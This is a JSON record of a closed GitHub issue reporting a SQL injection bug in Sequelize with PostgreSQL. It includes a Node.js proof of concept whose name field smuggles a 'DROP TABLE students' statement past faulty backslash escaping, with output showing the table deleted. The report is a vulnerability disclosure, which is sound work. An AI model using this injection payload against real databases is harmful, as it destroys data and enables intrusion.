{"action":"closed","issue":{"url":"https://api.github.com/repos/sequelize/sequelize/issues/3545","labels_url":"https://api.github.com/repos/sequelize/sequelize/issues/3545/labels{/name}","comments_url":"https://api.github.com/repos/sequelize/sequelize/issues/3545/comments","events_url":"https://api.github.com/repos/sequelize/sequelize/issues/3545/events","html_url":"https://github.com/sequelize/sequelize/issues/3545","id":68950873,"number":3545,"title":"SQL injection with PostgreSQL","user":{"login":"huguesdk","id":1168359,"avatar_url":"https://avatars.githubusercontent.com/u/1168359?v=3","gravatar_id":"","url":"https://api.github.com/users/huguesdk","html_url":"https://github.com/huguesdk","followers_url":"https://api.github.com/users/huguesdk/followers","following_url":"https://api.github.com/users/huguesdk/following{/other_user}","gists_url":"https://api.github.com/users/huguesdk/gists{/gist_id}","starred_url":"https://api.github.com/users/huguesdk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/huguesdk/subscriptions","organizations_url":"https://api.github.com/users/huguesdk/orgs","repos_url":"https://api.github.com/users/huguesdk/repos","events_url":"https://api.github.com/users/huguesdk/events{/privacy}","received_events_url":"https://api.github.com/users/huguesdk/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/sequelize/sequelize/labels/bug","name":"bug","color":"d7e102"},{"url":"https://api.github.com/repos/sequelize/sequelize/labels/high%20priority","name":"high priority","color":"e11d21"}],"state":"closed","locked":false,"assignee":null,"milestone":null,"comments":9,"created_at":"2015-04-16T15:38:03Z","updated_at":"2015-04-20T20:00:17Z","closed_at":"2015-04-20T20:00:17Z","body":"Backslashes are not escaped properly in strings when using PostgreSQL, leading to possible SQL injections.\r\n\r\nThe following code drops the students table.\r\n\r\n    var Sequelize, Student, sequelize;\r\n\r\n    Sequelize = require('sequelize');\r\n\r\n    sequelize = new Sequelize('database', 'user', 'password', {\r\n      dialect: 'postgres',\r\n      host: 'school.example',\r\n      logging: false,\r\n      define: {\r\n        timestamps: false\r\n      }\r\n    });\r\n\r\n    Student = sequelize.define('student', {\r\n      name: Sequelize.STRING\r\n    });\r\n\r\n    Student.create({\r\n      name: 'Robert\\\\\\'); DROP TABLE \"students\"; --'\r\n    }).then(function(result) {\r\n      console.log('Successfully created one student:', result.get());\r\n      return Student.findAll();\r\n    }).then(function(result) {\r\n      return console.log('Number of students:', result.length);\r\n    })[\"catch\"](function(error) {\r\n      return console.error('Oh no! Here strikes the mom again:', error.message);\r\n    });\r\n\r\nThe console output is:\r\n\r\n    Successfully created one student: { id: null, name: 'Robert\\\\\\'); DROP TABLE \"students\"; --' }\r\n    Oh no! Here strikes the mom again: relation \"students\" does not exist\r\n\r\nTested with PostgreSQL 8.2."}}